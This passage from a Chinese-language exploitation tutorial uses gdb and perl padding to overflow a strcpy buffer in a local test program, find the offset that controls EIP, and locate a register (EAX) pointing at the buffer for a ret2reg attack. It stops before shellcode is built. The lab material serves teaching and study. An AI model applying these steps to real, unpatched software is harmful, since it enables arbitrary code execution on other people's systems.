分析evilfunction函数调用栈的使用情况,如下图所示:

可以看到,要想溢出该栈,需要至少1016B的数据。
下面我们用gdb调试一下,看上面的分析是不是正确:
(gdb) run `perl -e 'print "\x41"x1014'`  
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1014'`  
  
Program received signal SIGSEGV, Segmentation fault.  
0x08004141 in ?? ()  
(gdb) run `perl -e 'print "\x41"x1015'`  
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1015'`  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00414141 in ?? ()  
(gdb) run `perl -e 'print "\x41"x1016'`  
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1016'`  
  
Program received signal SIGSEGV, Segmentation fault.  
0x41414141 in ?? ()  
(gdb)      
通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。
下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。
root@linux:~/pentest# gdb vulnerable  
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
Copyright (C) 2010 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
and "show warranty" for details.  
This GDB was configured as "i686-linux-gnu".  
For bug reporting instructions, please see:  
<http://www.gnu.org/software/gdb/bugs/>...   
Reading symbols from /root/pentest/vulnerable...done.  
(gdb) disass main  
Dump of assembler code for function main:  
   0x080483e4 <+0>:    push   %ebp  
   0x080483e5 <+1>:    mov    %esp,%ebp  
  0x080483e7 <+3>:    and    {1}xfffffff0,%esp  
   0x080483ea <+6>:    sub    {1}x10,%esp  
   0x080483ed <+9>:    mov    0xc(%ebp),%eax  
   0x080483f0 <+12>:    add    {1}x4,%eax  
   0x080483f3 <+15>:    mov    (%eax),%eax  
   0x080483f5 <+17>:    mov    %eax,(%esp)  
   0x080483f8 <+20>:    call   0x80483c4 <evilfunction>  
   0x080483fd <+25>:    mov    {1}x0,%eax  
   0x08048402 <+30>:    leave    
   0x08048403 <+31>:    ret      
End of assembler dump.  
(gdb) b *main+20  
Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.  
(gdb) b *main+31  
Breakpoint 2 at 0x8048403: file vulnerable.c, line 15.  
(gdb) disass evilfunction   
Dump of assembler code for function evilfunction:  
   0x080483c4 <+0>:    push   %ebp  
   0x080483c5 <+1>:    mov    %esp,%ebp  
   0x080483c7 <+3>:    sub    {1}x408,%esp  
   0x080483cd <+9>:    mov    0x8(%ebp),%eax  
   0x080483d0 <+12>:    mov    %eax,0x4(%esp)  
   0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax  
   0x080483da <+22>:    mov    %eax,(%esp)  
   0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>  
   0x080483e2 <+30>:    leave    
   0x080483e3 <+31>:    ret      
End of assembler dump.  
(gdb) b *evilfunction+31  
Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.  
(gdb) run `perl -e 'print "\x41"x1012,"\x42"x4'`  
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1012,"\x42"x4'`  
  
Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12  
12        evilfunction(argv[1]);  
(gdb) stepi  
evilfunction (input=0xbffff203 'A' <repeats 200 times>...) at vulnerable.c:4  
4    void evilfunction(char *input) {  
(gdb) i r esp  
esp            0xbfffef9c    0xbfffef9c  
(gdb) x/10x $esp-16  
0xbfffef8c:    0x08048429    0x00171cbd    0x0029f324   0x0029eff4  
0xbfffef9c:    0x080483fd    0xbffff203    0x0011ea50    0x0804841b  
0xbfffefac:    0x0029eff4    0x08048410  
(gdb) c  
Continuing.  
  
Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 "le") at vulnerable.c:8  
8    }  
(gdb) i r esp  
esp            0xbfffef9c    0xbfffef9c  
(gdb) x/10x $esp-16  
0xbfffef8c:    0x41414141    0x41414141    0x41414141    0x41414141  
0xbfffef9c:    0x42424242    0xbffff200    0x0011ea50    0x0804841b  
0xbfffefac:    0x0029eff4    0x08048410  
(gdb) c  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x42424242 in ?? ()  
(gdb) i r   
eax            0xbfffeba8    -1073747032  
ecx            0x0    0  
edx            0xbffff5fc    -1073744388  
ebx            0x29eff4    2748404  
esp            0xbfffefa0    0xbfffefa0  
ebp            0x41414141    0x41414141  
esi            0x0    0  
edi            0x0    0  
eip            0x42424242   0x42424242  
eflags         0x10246    [ PF ZF IF RF ]  
cs             0x73    115  
ss             0x7b    123  
ds             0x7b    123  
es             0x7b    123  
fs             0x0    0  
gs             0x33    51  
(gdb) x/20x $eax  
0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141  
0xbfffebb8:    0x41414141   0x41414141    0x41414141    0x41414141  
0xbfffebc8:    0x41414141    0x41414141    0x41414141    0x41414141  
0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141  
0xbfffebe8:    0x41414141    0x41414141    0x41414141    0x41414141  
(gdb) x/20x $eax -16  
0xbfffeb98:    0x0015b1c4    0x0015b1c4    0x000027d8    0x00005844  
0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141  
0xbfffebb8:    0x41414141    0x41414141    0x41414141    0x41414141  
0xbfffebc8:    0x41414141   0x41414141    0x41414141    0x41414141  
0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141  
(gdb)       
